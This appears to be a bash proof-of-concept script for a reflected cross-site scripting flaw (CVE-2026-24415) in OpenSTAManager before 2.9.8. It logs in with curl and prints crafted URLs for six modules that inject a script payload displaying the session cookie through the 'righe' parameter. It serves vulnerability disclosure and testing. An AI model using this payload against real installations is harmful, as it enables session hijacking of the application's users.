#!/usr/bin/env bash
#
# CVE-2026-24415 - OpenSTAManager < 2.9.8 reflected XSS via `righe` GET parameter
#
# The `righe` GET parameter is echoed directly into a hidden <input> value
# attribute in modifica_iva.php (contracts/quotes/invoices/DDT/orders/
# interventions modules) without htmlspecialchars() encoding, allowing an
# attacker to break out of the attribute context and inject arbitrary
# HTML/JavaScript that executes in the victim's browser.
#
# Vulnerable files (line ~121-167 depending on module):
#   /modules/contratti/modals/modifica_iva.php
#   /modules/preventivi/modals/modifica_iva.php
#   /modules/fatture/modals/modifica_iva.php
#   /modules/ddt/modals/modifica_iva.php
#   /modules/ordini/modals/modifica_iva.php
#   /modules/interventi/modals/modifica_iva.php
#
# Usage:
#   ./poc.sh <base_url> <username> <password>
#
# Example:
#   ./poc.sh http://localhost:8081 admin admin

set -euo pipefail

BASE_URL="${1:?usage: $0 <base_url> <username> <password>}"
USERNAME="${2:?username required}"
PASSWORD="${3:?password required}"

# Step 1: authenticate and store session cookie
curl -s -c cookies.txt -X POST "${BASE_URL}/index.php?op=login" \
  -d "username=${USERNAME}&password=${PASSWORD}"

PAYLOAD='"><script>alert(document.cookie)</script>'

echo
echo "[*] Reflected XSS PoC URLs (open in an authenticated browser session):"
for module in contratti preventivi fatture ddt ordini interventi; do
  echo "${BASE_URL}/modules/${module}/modals/modifica_iva.php?righe=${PAYLOAD}"
done

echo
echo "[*] Expected: a JavaScript alert() displaying the current session cookie,"
echo "    confirming unsanitized reflection of the 'righe' parameter."